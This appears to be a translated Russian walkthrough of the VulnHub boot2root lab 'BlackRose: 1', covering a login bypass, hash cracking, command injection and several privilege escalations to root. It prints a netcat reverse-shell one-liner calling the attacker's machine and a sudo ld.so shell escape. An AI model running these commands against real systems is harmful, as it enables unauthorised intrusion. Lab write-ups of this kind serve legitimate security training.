В этой статье пойдет речь о задаче boot2root под названием «BlackRose: 1». Ее можно проверить на VulnHub во время тестирования на проникновение. Читатели подробно узнают все нюансы данной задачи.
Следует также упомянуть BadLamer, который и создал эту виртуальную машину. Пора начинать и понять, как ее взломать.
Уровень сложности: высокий.
Пошаговый разбор
Знакомство
Итак, пользователь начнет с запуска «nmap» и так называемого «агрессивного сканирования», чтобы захватить порты включенной операционной системы с различными версиями программного обеспечения, скриптами и трассерами.
nmap -A –p- 192.168.1.21
Перечисление
При входе на сайт пользователь познакомился с особой системой аутентификации, которая, таким образом, позволяет ему ввести некоторые учетные данные или зарегистрироваться на ресурсе.
Кроме этого, пользователь заметил фоновое изображение за табличкой со входом в систему, поэтому он загрузил его, чтобы проверить, содержит ли оно какую-либо конкретную информацию или нет. Когда человек отслеживает все это с помощью инструмента «steghide», он понимает, что ему не хватает ключа, чтобы расшифровать полученную информацию.
Применение
После попытки избежать заполнения форм с помощью других методов пользователю стало ясно, что этот сайт уязвим для «strcmp».
Нужно зафиксировать этот запрос в burpsuite и проверить, что пользователь может получить в его ответе.
Запрос Burp:
Ответ Burp:
Отлично!! Пользователь выполняет полученный ответ в его веб-браузере и обходит административную панель в качестве пользователя «аdmin». Это грандиозный успех!
Теперь стоит двигаться дальше к своей цели: внутри панели пользователь получил хэш для «bcrypt», а также видит поле для ввода команд. Но если он попытается выполнить команду «ls», система снова выдаст человеку ошибку.
Необходимо попробовать взломать этот захваченный хэш с помощью уже наверняка известного John The Ripper. Как и в результате выходных данных, пользователь может увидеть, что он получил команду «whoami».
Теперь пользователь попробует выполнить команду «whoami» в веб-приложении.
Все получилось. Поскольку пользователь точно не знает о функциях приложения, нужно попробовать сгенерировать хэш для «bcrypt» с помощью команды, которая позволит человеку вызвать обратный shell из его машины Kali.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f
Теперь пользователь установит и активирует листенер netcat на порту 1234. Ему также следует изменить хэш поля и переписать команду:
Отлично!! Пользователь успешно захватил Shell жертвы.
Повышение привилегий (пользователь «delx»)
Таким образом, с помощью python пользователь будет использовать интерактивный Shell. Настало время получить привилегии пользователя «delx».
Для этого человек выполнит команду «sudo-l» и проверит, может ли он использовать двоичный файл под названием «ld.so». Это очень важный момент:
sudo -u delx /bin/ld.so /bin.sh
На приведенном ниже изображении пользователь может увидеть, что он получил Shell вместе с юзером.
Когда пользователь будет проходить через файлы пользователя «delx», он столкнется с тем, что есть каталог «.ssh». Следует скопировать файл «id_rsa» и попробовать взломать его с помощью «ssh2john», John The Ripper и словаря rockyou.
Отлично!! Теперь пользователь способен подключиться через SSH!
Повышение привилегий (пользователь «yourname»)
Необходимо просмотреть файлы, которые были доступны для пользователя «delx». Во время этой процедуры пользователь наткнулся на двоичный файл под названием «showPassword».
Таким образом, этот двоичный файл будет использоваться для проверки пароля и расшифровки содержимого, отмеченного зеленым цветом.
Пользователь также проанализирует этот код с помощью Ghidra (можно использовать не только этот инструмент), проверит его декомпилятор и перечислит пароли внутри него.
Человек обратно возвращается к двоичному файлу, вводит пароль и проверяет, правильный он или нет.
Стоит попробовать расшифровать содержимое с помощью некоторых онлайн-инструментов. В данном случае человек использовал шифрование AES для этих целей. На приведенном ниже изображении можно увидеть, что теперь у пользователя снова есть один зашифрованный текст для получения информации.
После тестирования этого ключа со всеми 3 пользователями он не сработал ни для одного из них. Читатели помнят то фоновое изображение, которое пользователь скачал в самом начале?
Нужно попробовать задействовать его.
Проверив все возможные методы, пользователь, наконец, расшифровал пароль и получил «ROT47».
Теперь следует использовать полученный пароль для пользователя «yourname». Хакер наконец-то захватил флаг для «user.txt».
Повышение привилегий (root)
Следует запустить «sudo-l» и перечислить скрипт, который пользователь может выполнить как «root».
Когда человек попытался выполнить его, ему было выведено следующее сообщение: «Invalid file read».
Понятно, что у человека нет доступа к скрипту, но также ясно, что он может быть отфильтрован расширениями.
После попытки прочитать различные расширения, пользователь находит одно, которое сработало, то есть «PHP».
Как можно увидеть, скрипт проходит фильтр расширения, но не открывает свое содержимое. Это может быть связано с тем, что скрипт имеет функцию «WAG» и фильтрует некоторые слова.
После некоторых действий была изменена концепция, и пользователю удалось обойти «WAF».
Ну что ж, не стоит больше тратить время, а сделать «/bin/sh» для того, чтобы захватить Shell Root и прочитать содержимое файла «root.txt».
Автор переведенной статьи: David Utón.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.